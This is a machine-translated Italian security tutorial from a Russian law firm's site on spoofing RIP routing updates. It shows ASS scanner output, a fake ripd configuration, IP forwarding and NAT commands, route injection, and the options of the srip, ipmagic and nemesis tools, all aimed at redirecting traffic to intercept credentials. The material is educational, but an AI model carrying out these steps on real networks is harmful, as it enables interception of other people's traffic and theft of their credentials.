Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

False rotte RIP.

Обновлено 20.09.2025 07:39

 

Oleg Petukhov, avvocato nel campo del diritto internazionale e della protezione dei dati personali, specialista nel campo dell'informazione sicurezza, protezione delle informazioni e dei dati personali.

Canale Telegram: https://t.me/protezionedelleinformazioni

Gruppo in telegramma: https://t.me/protezionedelleinformazioni1

Sito: https://legascom.ru

E-mail: online@legascom.ru

 

#protezionedelleInformazioni #sicurezzadelleinformazioni

Il protocollo RIP utilizza la porta 520 e UDP per funzionare. I router "ascoltano" il traffico su una determinata porta. In questo modo, qualsiasi pacchetto del formato appropriato verrà accettato ed elaborato dal router. Se l'autenticazione RIP non viene utilizzata o la password è vuota, un utente malintenzionato può trasmettere dati di percorso errati al router, reindirizzando così il traffico di rete attraverso i nodi controllati dal cracker.

La prima cosa da cui un utente malintenzionato deve lanciare il proprio attacco è identificare i router che utilizzano il protocollo RIP. Questo può essere fatto in diversi modi.

1. È possibile ascoltare il traffico utilizzando uno sniffer. Ogni 30 secondi, i router scambiano informazioni di instradamento. Inoltre, lo scambio viene effettuato quando la topologia cambia. Abbiamo già implementato questo attacco nelle sezioni precedenti dedicate allo spoofing ARP. Lascia che ti ricordi solo che per implementarlo, un utente malintenzionato deve trovarsi sulla rete locale.

2. Inoltre, un utente malintenzionato può eseguire la scansione della rete alla ricerca di nodi con una porta UDP 520 aperta.

3. La soluzione migliore, e spesso l'unica possibile, è utilizzare un analizzatore batch specializzato che consente di intercettare e analizzare esattamente gli aggiornamenti delle tabelle di percorso.

Un tale strumento specializzato è un'utilità con il nome semplice ASS (autonomous system scanner). Questa utility consente la ricerca attiva e passiva di router e protocolli di routing. Durante il processo di scansione, ASS funziona in modalità attiva, alla fine passa a passivo, che ascolta solo il traffico. Questa utility supporta non solo RIP, ma anche altri protocolli di routing, quindi torneremo più volte in futuro.

Ecco un esempio di funzionamento in modalità passiva:

root@kali : # ./ass -i eth0

ASS [Autonomous System Scanner] $Revision: 1.24 $

(c) 2k++ FX <fx@phenoelit.de>;

Phenoelit (http://www.phenoelit.de)

IRPAS build XXXIX

passive listen ... (hit Ctrl-C to finish)

>>>Results>>>

Router 192.168.66.101 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

Router 192.168.66.100 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

E così l'utilità funziona in modalità attiva:

root@kali : # ./ass -i eth0 -A -v

ASS [Autonomous System Scanner] $Revision: 1.24 $

(c) 2k++ FX <fx@phenoelit.de>;

Phenoelit (http://www.phenoelit.de)

IRPAS build XXXIX

Scanning

+ scanning IRDP ...

+ scanning RIv1 ...

+ scanning RIPv2 ...

+ scanning IGRP ...

+ waiting for EIGRP HELLOs (12s) ...

Continuing capture ... (hit Ctrl-C to finish)

>>>Results>>>

Router 192.168.66.100 (RIPv1 RIPv2 )

RIP1 [ n/a ] 0.0.0.0 (metric 1)

RIP1 [ n/a ] 192.168.0.1 (metric 1)

RIP1 [ n/a ] 192.168.66.9 (metric 1)

RIP1 [ n/a ] 192.168.66.105 (metric 1)

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

Router 192.168.66.101 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

Gli esempi precedenti mostrano lo scambio intercettato di informazioni di instradamento tra due router 192.168.66.100 e 192.168.66.101. L'autenticazione non viene utilizzata, altrimenti sarebbe stato specificato un metodo come md5.

Nell'esempio seguente, router IP è il router di destinazione il cui traffico è in ascolto e con la chiave-P è indicato il numero di versione del protocollo RIP 1 o 2.

root@kali : # ass -v -i eth0 -D <router IP> -P <1 | 2>

Quindi, abbiamo identificato con successo i router che utilizzano il protocollo RIP, la sua versione e anche il metodo di autenticazione. Ora puoi provare ad attaccare. Nel caso più semplice, è possibile reindirizzare il traffico attraverso il router allo scopo di intercettare le credenziali dell'utente. Allo stesso tempo, dimentichiamo il limite di 15 router tra due nodi qualsiasi della rete.

Per eseguire l'attacco, è necessario prima di tutto configurare il router falso e quindi scambiare informazioni sui percorsi con i router vicini.

Per fare ciò, è necessario eseguire le impostazioni appropriate nel nostro router. Ecco un esempio di file di configurazione in cui viene utilizzato il protocollo RIP versione 2 e una chiave di autenticazione.

!

! Zebra configuration saved from vty

! 2005/08/12 23:44:33

!

hostname legitimate.ripd

password 8 p@ssw0rd>

enable password 8 Cb/yfFsI.abqs

service advanced-vty

service password-encryption

!

!

key chain dmz_auth

key 1

key-string secret_key

!

interface eth0

description DMZ_network

ip rip authentication mode md5 auth-length old-ripd

ip rip authentication key-chain dmz_auth

!

router rip

version 2

redistribute connected

network 192.168.20.0/24

!

line vty

exec-timeout 30 0

!

Successivamente, è necessario configurare l'inoltro del traffico attraverso il proprio host. Puoi farlo nel seguente modo:

root@kali : # echo 1 > /proc/sys/net/ipv4/ip_forward

Il prossimo passo preparatorio è configurare la traduzione degli indirizzi utilizzando Network Address Translation (NAT). Ciò è necessario in modo che i pacchetti diretti verso o dalla macchina della vittima raggiungano l'endpoint di destinazione, in poche parole, non vadano persi.

root@kali : # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP

Prima di iniziare l'attacco, è necessario stabilire esattamente a quale router si desidera inviare un aggiornamento RIP falso delle informazioni di instradamento. Il destinatario deve essere un indirizzo unicast, non multicast, poiché in questo caso l'attacco è molto più facile da rilevare.

Nel passaggio successivo, creiamo un record del percorso:

router rip

version 2

default-information originate

neighbor 192.168.20.103

route 192.168.66.9/32

Ora il traffico proveniente dalla rete 192.168.77.0/24 alla macchina 192.168.66.9 passerà attraverso il router dell'attaccante.

Ora, dopo un annuncio di rete simile 192.168.77.0/24, ci saranno nuove rotte nelle tabelle di routing RIP. È vero, il percorso più breve è ancora il percorso tra due router legali. Tuttavia, se un utente malintenzionato in qualche modo (ad esempio con «allagamento») è in grado di disabilitare un canale legale, tutto il traffico passerà attraverso un router falso.

Per concludere l'argomento dei percorsi falsi, considera alcune altre utilità per generare aggiornamenti RIP su base regolare. Un esempio di una di queste utilità è srip:

root@kali : # srip <RIP version> -n <netmask> <malicious router IP>

<targeted RIP router IP> <destination host or network IP> <metric>

dove <malicious router IP > è la macchina attraverso la quale si prevede di inoltrare il traffico, ovvero l'host dell'attaccante; <destination host or network IP> è l'indirizzo a cui vengono trasmessi i dati; <metric> è in genere il valore 1.

Per ottimizzare gli aggiornamenti RIP, è possibile utilizzare l'utilità ipmagic del progetto IP Sorcery.

Ecco un esempio di tutte le opzioni di questa utility:

root@kali : #./ipmagic

Usage: ./ipmagic [options]

IP: [-is|-id|-ih|-iv|-il|-it|-io|-id|-ip]

-is: source host or address def. 127.0.0.1

-id: source destination or address def. 127.0.0.1

-ih: IP header length def. 5

-iv: IP version def. 4

-il: Time-to-Live def. 64

-it: Type-of-Service def. 0

-io: IP frag offset [(D)on't Fragment|(M)ore Fragments|(F)ragment|(N)one]

-ii: IP packet ID for fragmentation def. 0

-ip: IP protocol [TCP|UDP|ICMP|IP] def. TCP -iO: IP options

<skip>

UDP: [-us|-ud|-ul]

-us: UDP source port def. rand()

-ud: UDP destination port def. 161

-ul: UDP length

RIP: [-uR|-uRc|-uRv]

-uR: Send default RIP packet to port 520

-uRc: RIP command [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA] def. RQ

For a list of RIP commands run program with -h rip

-uRv: RIP version [1|2] def. 2

Note: Entry Tables should be used with response packets[RS|TS|US]

-uRa(1|2|etc.): RIP Entry table Address exmp. -uRa1

-uRn(1|2|etc.): RIP Entry table Netmask, exmp. -uRn2

-uRh(1|2|etc.): RIP Entry table Next Hop, exmp. -uRn(num)

-uRm(1|2|etc.): RIP Entry table Metric

-uRr(1|2|etc.): RIP Entry table Route Tag

-uRe: Add default RIP Entry table to packet

root@kali : #./ipmagic -h rip

RIP Commands [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA]

RS: Response Packet

RQ: Request Packet

TN: Trace On

TF: Trace Off

SR: Sun Reserved

TQ: Triggered Request

TR: Triggered Response

TA: Triggered Acknowledgement

UQ: Update Request

UR: Update Response

UA: Update Acknowledgment

Infine, un altro mezzo utile per implementare attacchi al protocollo di routing RIP è Nemesis. Anche il set di opzioni di questa utility è piuttosto ricco.

root@kali : # nemesis rip help

RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

RIP usage:

rip [-v (verbose)] [options]

RIP options:

-c <RIP command>

-V <RIP version>

-r <RIP routing domain>

-a <RIP address family>

-R <RIP route tag>

-i <RIP route address>

-k <RIP network address mask>

-h <RIP next hop address>

-m <RIP metric>

-P <Payload file>

UDP options:

-x <Source port>

-y <Destination port>

IP options:

-S <Source IP address>

-D <Destination IP address>

-I <IP ID>

-T <IP TTL>

-t <IP TOS>

-F <IP fragmentation options>

-F[D],[M],[R],[offset]

-O <IP options file>

Data Link Options:

-d <Ethernet device name>

-H <Source MAC address>

-M <Destination MAC address>

Uno svantaggio significativo degli strumenti sopra descritti è che non sono in grado di inviare pacchetti RIP utilizzando l'autenticazione. La via d'uscita potrebbe essere l'hacking dell'autenticazione, ma ne parleremo tra poco.